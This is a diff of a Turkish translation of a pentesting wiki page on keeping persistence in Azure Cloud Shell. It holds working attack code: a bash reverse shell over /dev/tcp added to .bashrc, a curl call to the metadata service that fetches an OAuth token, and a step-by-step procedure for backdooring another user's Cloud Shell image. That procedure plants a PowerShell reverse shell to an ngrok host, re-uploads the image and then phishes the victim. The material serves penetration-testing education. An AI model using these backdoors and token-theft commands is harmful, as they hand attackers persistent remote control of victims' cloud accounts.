Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

@@ -7,11 +7,11 @@
 Azure Cloud Shell, Azure kaynaklarını yönetmek için kalıcı depolama ve otomatik kimlik doğrulama ile komut satırı erişimi sunar. Saldırganlar, kalıcı ana dizine arka kapılar yerleştirerek bunu istismar edebilir:
 
 * **Kalıcı Depolama**: Azure Cloud Shell’in ana dizini, bir Azure dosya paylaşımına monte edilir ve oturum sona erdikten sonra bile sağlam kalır.
-* **Başlangıç Betikleri**: .bashrc gibi dosyalar, her oturumun başlangıcında otomatik olarak çalıştırılır ve bulut kabuğu başladığında kalıcı yürütmeye olanak tanır.
+* **Başlangıç Betikleri**: `.bashrc` veya `config/PowerShell/Microsoft.PowerShell_profile.ps1` gibi dosyalar, her oturumun başlangıcında otomatik olarak çalıştırılır ve bulut kabuğu başladığında kalıcı yürütme sağlar.
 
-.bashrc içindeki örnek arka kapı:
+Example backdoor in .bashrc:
 ```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
 ```
 Bu arka kapı, kullanıcı tarafından bulut kabuğu tamamlandıktan 5 dakika sonra bile komutları çalıştırabilir.
 
@@ -19,4 +19,41 @@ Ayrıca Azure'un metadata hizmetinden örnek detayları ve token'lar için sorgu
 ```bash
 curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
 ```
+### Cloud Shell Phishing
+
+Eğer bir saldırgan, yazma ve okuma erişimine sahip olduğu bir Storage Account'ta diğer kullanıcıların görüntülerini bulursa, görüntüyü indirebilir, **içine bir bash ve PS arka kapı ekleyebilir** ve tekrar Storage Account'a yükleyebilir, böylece kullanıcı shell'e eriştiğinde **komutlar otomatik olarak çalıştırılacaktır**.
+
+- **Görüntüyü indir, arka kapıyı ekle ve yükle:**
+```bash
+# Download image
+mkdir /tmp/phishing_img
+az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
+
+# Mount the image
+mkdir /tmp/backdoor_img
+sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
+cd /tmp/backdoor_img
+
+# Create backdoor
+mkdir .config
+mkdir .config/PowerShell
+touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
+chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Bash backdoor
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
+
+# PS backdoor
+echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Unmount
+cd /tmp
+sudo umount /tmp/backdoor_img
+
+# Upload image
+az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
+```
+- **Sonra, kullanıcının https://shell.azure.com/ adresine erişmesi için oltalama yapın.**
+
+
 {{#include ../../../banners/hacktricks-training.md}}